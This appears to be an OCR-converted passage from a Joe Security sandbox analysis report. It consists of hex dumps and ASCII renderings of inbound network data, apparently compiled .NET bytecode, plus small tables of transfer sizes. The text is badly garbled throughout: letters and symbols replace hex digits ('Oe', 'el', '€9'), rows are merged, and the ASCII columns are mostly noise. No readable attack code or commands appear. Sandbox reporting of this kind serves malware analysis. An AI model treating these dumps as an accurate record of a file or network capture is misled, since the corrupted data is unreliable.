26 31 49 00 00 d4 3a 00 26 Oe 3f 00 00 00 7a 00 26 05 05 00 00 76 cO 00 26 02 e1 00 00 00 74 00 26 10 42 00 00 9c 49
00 26 10 58 00 00 97 b4 00 26 02 e1 00 00 d4 d4 00 21 Oc 96 00 00 d4 41 00 13 2e 84 00 00 a5 3d 00 26 2e 4b 00 00 92
700 26 31 4c 00 00 a5 7a 00 26 31 49 00 00 d4 3a 00 26 Oe 3f 00 00 00 7a 00 26 05 05 00 00 76 c0 00 26 02 e1 00 00 O
074 00 26 10 42 00 00 9c 49 00 26 10 58 00 00 97 b4 00 26 02 e1 00 00 d4 2f 00 21 Oc 96 00 00 d3 08 00 13 02 el 00 00
d2 fd 00 21 Oc 96 00 00 02 d3 00 26 31 01 00 00 d2 f3 80 56 31 01 00 00 10 14 80 56 31 01 00 00 d2 €9 80 56 31 01 00
00 d2 da 80 56 31 01 00 00 d2 d3 80 56 31 01 00 00 d2 cb 80 56 02 el

Data Ascii: &/&.=& K&1Lz&11:&?z&V&I&BI&X&!A. =& K&1L2&1I:&?2&V&t&BI&X&/MN&1VIVIVIVIVIV

Data Raw: 00 00 00 00 00 53 91 00 00 01 00 1b 92 Ob 29 00 65 00 00 00 00 00 00 53 7d 00 00 01 00 1b 8e Ob 28 00 65
00 00 00 00 00 00 53 69 00 00 01 00 1b 8a Ob 27 00 65 00 00 00 00 00 00 53 55 00 00 01 00 1b 86 Ob 26 00 65 00 00 00
00 00 00 53 41 00 00 01 00 1b 82 Ob 25 00 65 00 00 00 00 00 00 53 2d 00 00 01 00 1b 7e Ob 24 00 65 00 00 00 00 00 00
5319 00 00 01 00 1b 7a Ob 23 00 65 00 00 00 00 00 00 53 05 00 00 01 00 1b 76 Ob 22 00 65 00 00 00 00 00 00 52 f1 00
00 01 00 1b 72 Ob 21 00 65 00 00 00 00 00 00 52 dd 00 00 01 00 1b 6e Ob 20 00 65 00 00 00 00 00 00 52 ¢9 00 00 01 00
1b 6a Ob 1f 00 65 00 00 00 00 00 00 52 b5 00 00 01 00 1b 66 Ob 1e 00 65 00 00 00 00 00 00 52 a1 00 00 01 00 1b 62 Ob
1d 00 65 00 00 00 00 00 00 52 8d 00 00 01 00 1b 5e Ob 1c 00 65 00 00 00 00

Data Ascii: S)eS}(eSi'eSU&eSA%eS-~$eSz#eSv"eRrleRn eRjeRfeRbeR"e

Data Raw: 00 Oc 6f 00 10 01 01 06 ff 05 a9 00 75 00 00 Ob 7e 00 00 Oc 10 00 10 01 01 06 f5 05 a8 00 59 00 00 Ob 7e 00
00 Ob fa 00 10 00 01 06 ef 05 a7 00 71 00 00 Ob 7e 00 00 Ob 94 00 10 00 01 06 €6 05 a6 00 69 00 00 Ob 7e 00 00 Ob 67
00 10 01 01 06 e6 05 9d 00 61 00 00 07 50 00 00 Ob 5e 00 00 01 01 06 el 05 9b 00 5d 00 00 07 50 00 00 Ob 51 00 10 01
09 06 dc 05 9b 00 65 00 00 00 00 00 00 Ob 44 00 00 01 02 06 d7 05 9a 00 59 00 00 00 00 00 00 Ob 36 00 10 01 82 06 cc
05 99 00 59 00 00 00 00 00 00 Ob 2b 00 10 01 82 06 b0 05 97 00 59 00 00 07 50 00 00 Ob 20 00 10 01 81 06 a3 05 92 00
59 00 00 07 50 00 00 Ob Ob 00 00 01 01 06 64 05 83 00 59 00 00 07 50 00 00 Oa ff 00 10 01 01 06 13 05 6d 00 59 00 00
07 50 00 00 0a f3 00 10 01 01 06 0d 05 6b 04 5¢ 00 00 07 50 00 00 Oa d7

Data Ascii: ou~Y~q~i~gaP"|PQeDY6Y+YP YPdYPmYPK\P
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Timestamp transferred Direction
2022-05-02 11:02:01 UTC 751 IN
2022-05-02 11:02:01 UTC 767 IN
2022-05-02 11:02:01 UTC 783 IN
2022-05-02 11:02:01 UTC 799 IN
2022-05-02 11:02:01 UTC 815 IN
2022-05-02 11:02:01 UTC 831 IN
2022-05-02 11:02:01 UTC 847 IN
2022-05-02 11:02:01 UTC 863 IN
2022-05-02 11:02:01 UTC 879 IN
2022-05-02 11:02:01 UTC 895 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 05 2b 4e 00 2a 06 00 Oc 29 28 02 00 05 66 dO 36 4d 29 4a 28 05 2b 4a 00 00 2a 06 00 le 5a 6f 00 Oe 01 Oe

66 52 91 fb 28 05 2b 46 00 2a 06 00 Oc 29 28 02 00 05 65 d0 53 35 82 ad 28 05 2b 4a 00 00 2a 06 00 1le 56 6f 00 Oe 01
Oe 44 18 4c f3 28 05 2b 46 00 2a 06 00 Oc 29 28 02 00 05 64 d0 69 4b c2 a2 28 05 2b 4a 00 00 2a 06 00 le 52 6f 04 Oe O
3 0e 02 Oe 01 Oe 00 Oe 05 Oe 2f 30 81 d0 28 05 2b 66 00 2a 06 00 Oc 29 28 02 00 05 63 d0 4c 54 b6 17 28 05 2b 4a 00
00 2a 06 00 1e 4e 6f 00 Oe 01 Oe 3e 60 01 16 28 05 2b 46 00 2a 06 00 Oc 29 28 02 00 05 62 d0 30 65 0d 32 28 05 2b 4a
00 00 2a 06 00 le 4a 6f 00 Oe 01 Oe 53 4f 65 dd 28 05 2b 46 00 2a 06 00 Oc 29 28 02 00 05 61 d0 64 71 9f 35 28 05 2b 4a
2a 06 00 1e 46 6f 01 Oe 00 Oe 02 Oe 64 60 ef 55 28 05 2b 4e 00 2a 06 00

Data Ascii: +N*)(f6M)J(+J*ZofR(+F*)(eS5(+J*VoDL(+F*)(diK(+J*Ro/0(+*)(cLT(+J*No>"(+F*)(b0e2(+J*JoSOe(+F*)(adg5
(+J*Fod U(+N*

Data Raw: 03 €3 d0 5¢ 19 55 41 28 05 2b 4a 00 00 2a 06 00 18 4e 6f 02 Oe 01 Oe 00 Oe 03 Oe 40 2d 8d da 28 05 2b 56

00 2a 06 00 Oc 29 28 02 00 03 e2 d0 42 6e b8 e4 28 05 2b 4a 00 00 2a 06 00 18 4a 6f 00 Oe 01 Oe 49 01 68 ed 28 05 2b
46 00 2a 06 00 Oc 29 28 02 00 03 e1 d0 66 1a 18 35 28 05 2b 4a 00 00 2a 06 00 18 46 6f 00 Oe 01 Oe 42 le ce 91 28 05 2
b 46 00 2a 06 00 Oc 29 28 02 00 03 e0 d0 4e 06 21 75 28 05 2b 4a 00 00 2a 06 00 18 42 6f 02 Oe 01 Oe 00 Oe 03 Oe 3c 58
d3 cd 28 05 2b 56 00 2a 06 00 Oc 29 28 02 00 03 df d0 36 69 d9 6e 28 05 2b 4a 2a 06 00 18 3e 6f 01 Oe 00 Oe 02 Oe 60
la 2c 46 28 05 2b 4e 00 2a 06 00 Oc 29 28 02 00 03 de d0 62 21 3c 84 28 05 2b 4a 00 00 2a 06 00 18 3a 6f 02 Oe 01 Oe
00 Oe 03 Oe 3a 1b 8b bd 28 05 2b 56 00 2a 06 00 Oc 29 28 02 00 03 dd dO

Data Ascii: \UA(+J*No@-(+V*)(Bn(+J*Jolh(+F*)(f5(+J*FoB(+F*)(N!u(+J*Bo<X(+V*)(6in(+J*>0", F(+N*)(b!<(+J*:0: (+V*)(

Data Raw: 07 12 c¢3 28 05 2b 4a 00 00 2a 06 00 12 Oa 6f 02 Oe 01 Oe 00 Oe 03 Oe 52 37 25 4a 28 05 2b 56 00 2a 06 00 Oc
2928 02 00 02 51 d0 49 49 ce 64 28 05 2b 4a 2a 06 00 12 06 6f 00 Oe 58 Oe 9e 54 28 05 2b 3e 00 2a 06 00 Oc 29 28 02
00 0250 dO 5d 23 13 ec 28 05 2b 4a 00 00 2a 06 00 12 02 6f 02 Oe 01 Oe 00 Oe 03 Oe 41 09 3e ff 28 05 2b 56 00 2a 06
00 Oc 29 28 02 00 02 4f dO 4f 24 55 49 28 05 2b 4a 2a 06 00 11 fe 6f 03 Oe 02 Oe 01 Oe 00 Oe 04 Oe 5f 18 8f c2 28 05 2b
5e 00 2a 06 00 Oc 29 28 02 00 02 4e d0 6e 3f 94 61 28 05 2b 4a 00 00 2a 06 00 11 fa 6f 00 Oe 01 Oe 4e 52 32 7d 28 05 2b
46 00 2a 06 00 Oc 29 28 02 00 02 4d d0 5a 72 cb f6 28 05 2b 4a 2a 06 00 11 f6 6f 00 Oe 67 1b 46 2c 28 05 2b 3e 00 2a 06
00 Oc 29 28 02 00 02 4c d0 52 40 9a 0d 28 05 2b 4a 2a 06 00 11

Data Ascii: (+J*0R7%J(+V*)(QId(+J*oXT (+>*)(PJ#(+J*0A>(+V*)(O0$UI(+J*0_(+"*)(Nn?a(+J*oNR2}(+F*)(MZr(+J*ogF, (+>
H(LR@(+3*

Data Raw: fc 50 38 ff ff fe 77 38 0a 00 02 e8 6f 9a Of 11 09 11 Oa 00 02 ea 7e 13 11 ff ff fa 67 38 a2 0a 00 02 46 6f 06 00
0f 7e 28 9a Oc 11 06 11 Oc 11 07 11 ff ff fb af 38 ff ff f9 8d 38 ff ff {8 80 38 00 00 00 00 20 26 ff ff f8 8b 39 06 00 Of 6a 28
00 00 00 00 20 ff ff f9 b7 39 0a 00 01 dc 6f 0a 00 00 af 6f 02 ff ff fc Ob 38 0a 00 02 e8 6f 9a Of 11 09 11 Oa 00 03 37 7e 13
11 ff ff fc b0 38 ff ff fb 2a 39 0a 00 02 Oc 28 Oa 00 00 23 28 06 00 Oc bf 28 01 00 00 16 20 9a Oe 11 07 11 ff ff fa cd 38 Oa
00 00 19 6f 0a 00 02 dc 7e 13 11 00 00 00 7e 38 ff ff fe 61 39 Oa 00 03 af 6f 06 00 Of 7e 28 9a Oc 11 06 11 ff ff ff 7e 38 a2
0a 00 00 39 6f 9a 0d 11 07 11 13 11 0d 11 09 11 ff ff f9 82 38 02 13 14 ff ff f9 €7 38 00 00 00 23 3f 69 8e 07 11 Oc 11 ff ff
fa 7b 38 03 13 01

Data Ascii: PBw80~g8F0~(888 &9j( 900807~8*9(#(( 80~~8a90~(~89088#?i{8

Data Raw: 07 37 ff ff e7 a2 ff ff €6 58 00 00 12 08 00 00 Oe 4e 00 00 03 4c ff ff db d3 ff ff f2 90 ff ff e7 a2 00 00 12 59 ff ff
el 0b ff ff d1 6b 00 00 00 a6 ff ff eb d2 ff ff f2 8 ff ff eb 53 00 00 03 ac ff ff d9 f2 00 00 07 ba ff ff ef f4 ff ff dd 32 ff ff db 5a
ff ff d9 b9 00 00 Oa ad 00 00 Oe 4e ff ff €9 6f ff ff €5 a2 00 00 02 ¢8 ff ff f5 62 00 00 13 3f ff ff d8 1a ff ff ea 6f 00 00 17 68
00 00 03 do ff ff e7 a3 ff ff df 52 ff ff e7 a2 00 00 19 47 ff ff cc 5f 00 00 17 Od ff ff €5 e9 ff ff cd f4 00 00 09 el 00 00 15 18 ff
ff cf 88 ff ff de 89 00 00 12 72 00 00 Oc 8f ff ff dO 6e ff ff {5 1f ff ff db 15 ff ff cd f4 ff ff fO 92 ff ff €8 4a ff ff d8 53 ff ff €7 a2 ff
fe2cf0000 10 79 ff ff ea 52 00 00 12 fd 00 00 10 5¢ 00 00 05 dd ff ff d9 97 ff ff d7 d9 00

Data Ascii: 7ZXNLYkS2ZNob?0hRG_rnJSyR\

Data Raw: 20 bb 28 04 00 Oc 73 7e 02 00 00 00 7f 38 00 00 00 44 3a Oa 00 03 de 28 0a 12 ff ff ff b0 38 04 00 07 96 7d 04
00 07 7f 7b 04 00 07 79 7b Ob 11 02 00 00 00 5d 38 Oc 13 Ob 11 ff ff ff c2 38 00 00 00 00 20 26 ff ff f cd 3a 06 00 Of 6a 28
00 00 00 00 20 00 00 00 ca 38 00 00 00 50 38 04 00 07 95 7d 04 00 07 96 7b 02 02 00 00 00 50 38 00 00 00 55 00 00 00
01 45 00 08 Oc fe 00 00 00 b2 38 00 00 00 67 38 00 00 00 02 9b 38 52 17 03 00 00 01 22 38 00 00 03 05 00 00 01 77 00
00 01 27 00 00 00 03 45 00 05 Oc fe 00 00 02 8b 38 03 13 00 00 03 87 dd 00 00 00 00 38 06 00 20 ab 28 04 00 Oc 6f 7e
00 11 02 00 00 00 04 4d 38 04 00 07 9b 7d 16 02 00 00 00 00 38 00 00 04 5f 39 04 00 07 9b 7b 02 00 00 04 57 38 04 00
07 9a 7d 16 02 2a 00 00 04 36 38 00 00 03 cO 00 00 04 3b 00

Data Ascii: (s~8D:(8Hy{]88 &:j( 8P8H{PBUESg8SR"SWESS (0~M8}8_9{W8}*68;

Data Raw: 01 95 74 03 04 00 07 4b 7b 04 00 07 4d 7c 06 00 Oe 16 6f 02 ff ff ff 35 38 00 00 00 5a 39 06 00 20 Of 28 04 00
Oc 48 7e 03 ff ff ff 5a 38 ff ff f ce 38 ff ff ff d9 38 00 00 00 Of 39 06 00 20 07 28 04 00 Oc 46 7e 03 00 00 00 1f 38 01 10 06
00 20 Ob 28 04 00 Oc 47 7e 03 7a 06 00 Oe bf 73 2a 06 00 0d a0 73 6e 64 5f 1f 1f 04 00 07 41 7b 04 00 07 42 7¢ 06 00 Oe
14 6 02 00 01 98 74 03 04 00 07 40 7b 04 00 07 42 7c 06 00 Oe 14 6f 02 2a 06 00 0d a2 73 64 5f 3f 1f 04 00 07 4a 7b 04
00 07 4d 7c 06 00 Oe 16 6f 02 00 01 98 74 03 04 00 07 4b 7b 04 00 07 4d 7c 06 00 Oe 16 6f 02 00 00 00 00 38 00 00 00
34 40 1e 0a 00 00 1b 28 00 00 00 bb 38 00 00 00 ea 40 Le 0a 00 00 1b 28 00 00 00 97 38 57 1c 60 de 28 05 2b 00 00 00
00 00 00 01 41 00 04 30 13 00 ff ff ff 64 38 01 10

Data Ascii: tk{M|058Z9 (H~Z8889 (F~8 (G~zs*snd_A{B|ot@{B|o*sd_?J{M|otk{M|084@ (8@ (8W (+A0d8

Data Raw: ff ff 9c 38 ff ff ff b3 39 06 00 20 07 28 04 00 Oc 46 7e 03 7a 06 00 Oe bf 73 2a 06 00 0d 3¢ 73 db 04 00 07 4b 7b
04 00 07 4d 7c 02 00 01 97 74 03 04 00 07 4b 7b 04 00 07 4d 7c 02 00 00 00 00 38 00 00 00 27 39 06 00 20 63 28 04 00
0c 5d 7e 03 00 00 00 00 38 01 10 06 00 20 Ob 28 04 00 Oc 47 7e 03 00 00 00 4f 38 38 39 Oc ef 28 05 2b 00 00 00 00 00
00 00 70 00 03 30 13 ff ff ff d9 38 01 10 06 00 20 Ob 28 04 00 Oc 47 7e 03 ff ff ff ae 38 ff ff ff d5 39 06 00 20 63 28 04 00
0c 5d 7e 03 00 00 00 15 38 00 00 00 05 39 06 00 20 07 28 04 00 Oc 46 7e 03 7a 06 00 Oe bf 73 2a 06 00 0d 38 73 da 04
00 07 4c 7b 04 00 07 4d 7c 02 00 01 97 74 03 04 00 07 4c 7b 04 00 07 4d 7c 02 00 00 00 28 38 2e 36 99 ¢3 28 05 2b 00
00 00 00 00 00 00 70 00 03 30 13 ff ff ff 9c 38 ff ff ff

Data Ascii: 89 (F~zs*<sK{M|tK{M|8' c(]~8 (G~O889(+p08 (G~89 c(~89 (F~zs*8SL{M|tL{M|(8.6(+p08

Data Raw: 2a 13 04 00 07 73 7b 29 11 29 13 0a 00 03 c0 6f 28 11 04 00 07 85 7b 06 00 00 01 25 38 28 13 16 04 00 07 90
7d 02 00 01 b5 8d 0a 00 03 bf 6f 04 00 07 85 7b 06 07 ff ff ff 98 3f 69 8e 08 26 11 26 13 58 17 26 11 a2 06 00 1f e3 28 04
00 Oc 3d 7e 9a 26 11 03 27 11 58 17 26 11 04 00 07 8f 7b 07 00 00 00 1b 38 04 13 58 17 04 11 a2 06 00 1f €3 28 04 00
Oc 3d 7e 9a 26 11 03 27 11 58 17 26 11 04 00 07 8f 7b 07 00 00 00 26 39 Oa 00 03 af 6f 27 11 27 13 0a 00 02 6f 6f 9a 26
11 08 00 00 00 5e 38 26 13 16 a2 06 00 Of a5 73 04 16 04 00 07 8f 7b 07 00 00 00 Oe 38 a2 06 00 Of Oc 73 0a 00 00 af 6f
04 00 07 82 7b 06 06 00 Of a5 73 04 16 04 00 07 8f 7b 07 00 00 00 23 39 Oa 00 01 dc 6f 0a 00 00 af 6f 04 00 07 82 7b 06
04 00 07 8f 7d 02 00 01 b5 8d 58 17 69 8e 08 07 00 00 00

Data Ascii: *s{))0({%8(}0{?I&&X&(=~& X&{8X(=~&'X&{&90"00&"8&s{8s0{s{#900{}Xi

Data Raw: 42 16 04 02 10 59 06 04 06 00 Oc 26 28 06 16 05 02 26 0a 00 00 83 6f 06 16 05 03 0a 69 8e 05 00 00 00 03
38 04 00 00 00 06 42 69 8e 05 04 00 00 00 2b 38 11 00 00 01 00 00 00 38 00 05 30 13 00 00 2a 06 00 Oc 19 28 02 2a Oa
00 00 dc 28 02 0a 00 00 ed 73 00 00 00 Oc 3a 06 00 Oc 1f 28 76 01 00 00 16 06 00 27 Of 00 18 00 00 01 00 00 16 Oc 00 O
b 0b 00 00 00 00 00 00 1c 01 00 00 2a 00 00 00 00 dd 26 00 00 00 06 dd 04 00 07 1d 80 Oa 00 03 83 28 00 00 00 00 16
dd 04 00 07 1d 80 17 26 00 00 00 Oc dd 26 0a 00 00 ed 73 00 00 00 00 00 00 00 2e 00 02 30 1b 01 00 00 16 45 00 23 Ob
00 18 00 00 01 00 00 16 20 00 43 1f 00 24 00 00 00 00 1c 01 00 00 2a 06 00 00 00 00 dd 00 00 00 00 dd Oa 01 00 00 91
74 0a 00 03 82 6f 0a 00 03 81 28 70 00 03 f6 72 70 00 04 62 72 26 00 00 00

Data Ascii: BY&(&0i8Bi+880*(*(s:(v'*&(&&s.0E# C$*to(prpbr&
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Timestamp transferred Direction
2022-05-02 11:02:01 UTC 911 IN
2022-05-02 11:02:01 UTC 927 IN
2022-05-02 11:02:01 UTC 943 IN
2022-05-02 11:02:01 UTC 959 IN
2022-05-02 11:02:01 UTC 975 IN
2022-05-02 11:02:01 UTC 991 IN
2022-05-02 11:02:01 UTC 1007 IN
2022-05-02 11:02:01 UTC 1023 IN
2022-05-02 11:02:01 UTC 1039 IN
2022-05-02 11:02:01 UTC 1055 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 02 e2 6f 00 02 09 fe 00 01 09 fe 00 00 09 fe 56 35 bd 80 28 05 2b 66 00 00 2a 0a 00 01 e4 6f 00 00 09 fe 5f 40
be 25 28 05 2b 46 00 2a 0a 00 02 6¢ 28 00 01 09 fe 00 00 09 fe 00 43 04 4f d2 28 05 2b 5a 00 2a 0a 00 00 c6 28 00 01 09
fe 00 00 09 fe 00 58 65 88 b0 28 05 2b 5a 00 00 2a 0a 00 03 76 6f 00 02 09 fe 00 01 09 fe 00 00 09 fe 6¢ 3e 52 20 28 05
2b 66 00 2a 0a 00 01 a0 28 00 01 09 fe 00 00 09 fe 00 59 57 1c 1e 28 05 2b 5a 00 2a Oa 00 00 8b 28 00 00 09 fe 00 5b 1c
1b 1b 28 05 2b 4a 00 2a 0Oa 00 00 23 28 00 00 09 fe 00 50 61 1c 6d 28 05 2b 4a 00 2a 06 00 Oc bf 28 00 00 09 fe 00 47 08
f9 a7 28 05 2b 4a 00 00 2a 0a 00 00 4c 6f 00 00 09 fe 53 54 ae 20 28 05 2b 46 00 00 2a 0a 00 02 be 6f 00 01 09 fe 00 00
09 fe 6¢ 68 3a 36 28 05 2b 56 00 00 2a 04 00 06 f5 7e

Data Ascii: 0V5(+f*0_@%(+F*I(CO(+Z*(Xe(+Z*vol>R (+f*(YW(+Z*([(+J*#(Pam(+J*(G(+J*LoST (+F*olh:6(+V*~

Data Raw: a5 7e 01 11 01 11 00 00 00 5d 38 00 00 00 d9 00 00 00 62 00 00 00 02 45 00 00 Oc fe 00 00 01 8e 38 00 00 01
16 3a 06 00 16 6f 28 04 00 09 e0 7e 05 11 00 00 00 00 00 38 02 13 06 00 Oc 03 73 05 11 01 11 00 00 02 81 38 2f 59 1f
09 28 05 2b 11 00 01 9a 00 00 02 b5 00 06 30 1b 01 00 00 1b 63 00 b7 a7 00 10 00 00 00 00 10 01 00 00 00 ff ff fe de 38
00 13 06 00 17 4f 28 04 00 Oa 18 7e 02 ff ff fe ed 38 7a 0a 00 02 9f 73 03 11 0a 00 00 c6 28 04 11 06 00 13 87 28 04 00
09 26 7e 61 04 00 08 2f 7b 04 00 08 2c 7e 61 c6 fO 3c f9 20 c6 5e 98 31 20 ff ff ff d3 38 04 13 0a 00 02 Ob 6f 00 11 00 00
00 Oe 38 04 13 0a 00 01 al 6f 00 11 00 00 00 00 38 00 00 00 21 39 Oa 00 00 8b 28 04 11 00 00 00 1f 38 03 13 ff ff ff 55
dd 00 00 00 00 38 02 13 02 00 01 7b 74 06 00 Ob 8 28 Oa

Data Ascii: ~]8bE8:0(~8s8/Y(+0c80(~8zs((&~a/{,~a< "1 80808!9(8U8{t(

Data Raw: 00 01 86 38 35 53 58 6a 28 05 2b 11 00 01 88 00 00 07 46 00 Oa 30 13 00 00 ff ff ff 37 38 00 13 02 ff ff ff 0d 38
ff ff fe d9 39 0a 00 02 9b 28 14 06 00 18 8b 28 04 00 Oa 67 7e 17 04 00 05 18 7e 02 ff ff ff 70 38 ff ff ff 33 39 0a 00 01 de
6f 02 2a 0a 00 02 4b 28 16 03 ff ff ff b7 38 ff ff fe a2 39 0a 00 02 66 6f 02 ff ff fe 33 38 00 00 00 00 20 26 ff ff fe 3e 39 04 0
008 28 7b 04 00 08 2c 7e 00 00 00 00 20 ff ff ff 3c 3a 04 11 ff ff fe df 38 ff ff fe d8 39 01 13 25 0a 00 02 Ob 6f 02 ff ff fe b2
38 ff ff fe eb 39 0a 00 01 a0 28 0a 00 00 23 28 06 00 Oc bf 28 01 00 00 dc 20 02 00 00 00 80 38 ff ff ff b3 3a 0a 00 02 8f 6f
02 00 00 00 78 38 00 00 00 85 39 0a 00 02 6e 6f 02 ff ff fe ab 38 00 00 00 01 20 26 ff ff fe b6 39 04 00 07 d2 7b 04 00 08
2c 7e 00 00 00

Data Ascii: 85SXj(+F07889((g~~p8390*K(89f038 &>9({,~ <:89%089(#(( 8:0x89n08 &9{,~

Data Raw: 16 20 04 Oe 06 Oe 05 Oe 04 Oe 05 16 17 Oa 00 00 37 6f 01 11 00 00 00 98 38 06 00 16 8f 28 04 00 09 e8 7e 06
00 1d 83 28 04 00 Ob a5 7e 02 11 02 11 00 00 01 73 38 04 13 04 00 00 01 ab 38 06 00 18 a3 28 04 00 Oa 6d 7e 04 11 02
11 00 00 00 9a 38 06 00 1d 77 28 04 00 Ob a2 7e 02 11 00 00 01 03 38 00 00 01 08 00 00 00 01 45 00 06 Oc fe 00 00 01
06 38 53 60 f2 b2 28 05 2b 11 00 01 70 00 00 02 d4 00 Oc 30 1b 01 00 00 16 Ob 00 95 26 00 6f 00 00 01 00 00 16 Ob 01 5
8 5b 00 fd 00 00 00 00 1c 01 00 00 ff ff fe b7 38 Oe 13 0a 00 00 2f 73 a2 0d 11 16 25 01 00 00 16 8d 17 Oa 00 02 d5 6f a2
06 00 1d 27 28 04 00 Ob 8e 7e Oa 00 00 23 28 06 00 Oc bf 28 01 00 00 07 20 02 16 25 01 00 00 2f 8d 17 00 11 ff ff fd 9c
3803 13 a2 06 00 1d 93 28 04 00 Ob a9 7e 03 16 25 01 00 00 16

Data Ascii: 708(~(~s88(m~8w(~8E8S"(+p0&0X[8/s%0"(~#(( %/8(~%

Data Raw: 38 26 0a 00 02 ba 6f 06 00 13 87 28 04 00 09 26 7e 61 04 00 07 e5 7b 04 00 08 2c 7e 61 f8 80 9b d8 20 58 18
bl e5 74 20 c¢1 d1 30 53 20 03 11 00 00 01 6c 38 dc ff ff ff €8 38 00 00 00 05 39 16 11 00 00 00 Oc 38 Oa 00 00 4c 6f 16
11 00 00 00 Oc 38 16 13 01 00 00 46 75 Of 11 00 00 01 98 dd ff ff ff 48 38 ff f ff 96 3a 0a 00 00 8b 28 11 11 ff ff ff 11 38 00
00 00 00 20 26 ff ff ff 1c 3a 04 00 08 01 7b 04 00 08 2¢ 7e 00 00 00 00 20 10 13 02 00 01 5¢ 74 Oa 00 00 56 6f Of 11 ff ff ff
b7 38 ff ff ff d4 3a 06 00 1c ab 28 04 00 Ob 6f 7e 10 11 ff ff ff 6e 38 ff ff ff ea 38 00 00 00 5e 38 00 00 00 25 3a 06 00 Oa 7c
28 0f 11 00 00 00 5e 38 11 13 0a 00 02 64 6f 06 00 1a 67 28 04 00 Oa de 7e 10 11 ff ff ff 95 38 00 00 00 1d 3a Oa 00 02
61 6f 06 00 13 87 28 04 00 09 26

Data Ascii: 8&0(&~af{,~a Xt 0S 18898L08FuH8:(8 &:{,~ \tV08:(0~n88"8%:|("8dog(~8:a0(&

Data Raw: 3b 7e 04 08 11 ff ff fe 39 38 ff ff fd 58 39 06 00 1c 07 28 04 00 Ob 46 7e 08 11 ff ff ff 95 38 ff f fd 6e 39 08 11 ff
ff f9 86 38 03 13 14 ff ff fe 35 38 07 13 01 00 00 5a 8c 6a 16 ff ff fd 8b 38 06 00 1c Of 28 04 00 Ob 48 7e 02 00 00 f6 a5 13
11 08 11 ff ff fd de 38 07 13 01 00 00 c1 8c 0a 00 02 8e 7e ff ff f9 37 38 00 06 Oe fe 00 00 00 05 20 06 00 1b c3 28 04 00 O
b 35 7e 04 00 05 5¢ 7b 04 08 11 ff ff ff 61 38 07 13 01 00 00 99 8c 16 00 00 00 aa 38 ff ff fe 46 39 0a 00 01 a0 28 06 00
16 13 28 04 00 09 c9 7e 0a 00 00 23 28 06 00 Oc bf 28 01 00 00 04 20 04 00 06 5b 7b 02 Oa 00 02 50 6f Of 11 ff ff ff b7 38
00 00 01 00 3a 14 13 25 06 00 1b 77 28 04 00 Ob 22 7e 06 00 13 87 28 04 00 09 26 7e 61 04 00 07 fa 7b 04 00 08 2c 7e
61 2e 7c 89 89 20 62 00 00 00 02

Data Ascii: ;~98X9(F~8n9858Zj8(H~8~78 (5~\{a88F9((~#(( [{P08:%w('~(&~a{,~a.| b

Data Raw: 28 04 00 Oa el 7e 06 00 1a 87 28 04 00 Oa e6 7e 17 03 02 00 11 ff ff ff ca 38 06 00 1a 7f 28 04 00 Oa e4 7e 06
00 1a 87 28 04 00 Oa e6 7e 17 04 Oe 02 00 11 ff ff ff d1 38 ff ff ff dc 39 06 00 1a 83 28 04 00 Oa e5 7e 02 2a 02 00 00 00
36 38 00 13 06 00 1a 6f 28 04 00 Oa e0 7e 02 7a 0a 00 02 Oe 73 00 00 00 la 38 5f 20 3a b5 28 05 2b 11 00 01 3e 00 00
00 b4 00 06 30 13 00 00 00 ff ff ff b7 38 06 00 1a 7b 28 04 00 Oa e3 7e 05 00 11 ff ff ff b7 38 00 13 06 00 1a 6f 28 04 00
0a e0 7e 02 00 00 00 12 38 06 00 1a 77 28 04 00 Oa e2 7e 04 00 11 ff ff ff d9 38 06 00 1a 7f 28 04 00 Oa e4 7e 04 Oe 00
11 00 00 00 13 38 06 00 1a 73 28 04 00 Oa el 7e 03 00 11 2a 02 00 00 00 39 38 4b 4f 5¢ f0 28 05 2b 11 00 01 3e 00 00
00 69 00 04 30 13 2a 0a 00 01 dc 6f 04 00 06 5¢ 7b 02

Data Ascii: (~(~8(~(~89(~*680(~zs8_ :(+>08{(~80(~8w/(~8(~8s(~*98KO\(+>i0*0\{

Data Raw: 05 11 03 04 00 00 02 a3 38 00 00 01 ec 39 0a 00 01 a0 28 04 00 06 2a 7b 02 06 11 00 00 00 62 38 00 00 02
74 3d 16 00 13 25 06 00 13 b7 28 04 00 09 32 7e 04 00 00 02 fb 38 01 10 06 00 16 d3 28 04 00 09 f9 7e 04 03 05 11 00
00 01 f4 38 05 13 9a 04 11 04 00 06 2c 7b 02 00 00 02 ad 38 00 00 01 98 00 00 00 2 00 00 01 d5 00 00 01 6b 00 00 02 b
200 00 00 05 45 00 02 Oc fe 00 00 02 39 38 56 54 03 a6 28 05 2b 11 00 01 2¢ 00 00 03 68 00 06 30 13 2a ff ff ff 15 38 01
1358 17 01 11 ff ff ff cb 38 06 00 16 c7 28 04 00 09 f6 7e 04 03 03 11 ff ff fe cf 38 00 00 00 00 20 26 ff ff fe da 3a 04 00
08 2e 7b 04 00 08 2c 7 00 00 00 00 20 01 13 16 00 00 00 40 38 06 00 19 a7 28 04 00 0a ae 7e 06 00 19 a3 28 04 00 Oa
ad 7e 04 17 03 02 ff ff ff 3f 38 06 00 19 ab 28 04 00 Oa af

Data Ascii: 89(*{b8t=0%(2~8(~8 {8KEIBVT (+ h0*8X8(~8 &:.{,~ @8(~(~28(

Data Raw: 38 00 00 00 3b 38 01 13 06 00 16 d3 28 04 00 09 f9 7e 04 00 11 04 00 06 a 7b 02 ff ff f b4 38 00 00 00 00 20
26 ff ff ff bf 3a 04 00 07 €3 7b 04 00 08 2c 7e 00 00 00 00 20 00 00 00 43 39 0a 00 01 e2 28 14 04 00 06 08 7b 02 00 00
00 00 38 ff ff f f7 39 01 11 2a 14 00 00 00 7f 38 00 00 00 84 00 00 00 01 45 00 02 Oc fe 00 00 00 cO 38 40 22 ba fd 28 05
2b 11 00 01 1c 00 00 00 fa 00 07 30 13 00 2a ff ff ff ca 38 01 10 Oa 00 02 6b 6f 14 03 04 00 06 05 7b 02 00 00 00 14 38 06
00 16 c7 28 04 00 09 f6 7e 04 03 04 00 06 Oa 7b 02 00 00 00 00 38 00 00 00 30 39 03 00 00 00 22 38 64 05 b0 27 28 05
2b 00 00 00 00 00 00 00 43 00 05 30 03 ff ff ff a8 38 ff ff ff 49 38 ff ff ff 53 38 00 13 0a 00 02 87 6f 03 00 00 00 0d 38 ff ff ff
¢4 3a 0a 00 02 86 6f 01 11 ff ff ff 6¢

Data Ascii: 8;8(~{8 &{,~ C9({89*8E8@" (+0*8ko{8(~{809"8d'(+C08I8S808:0l

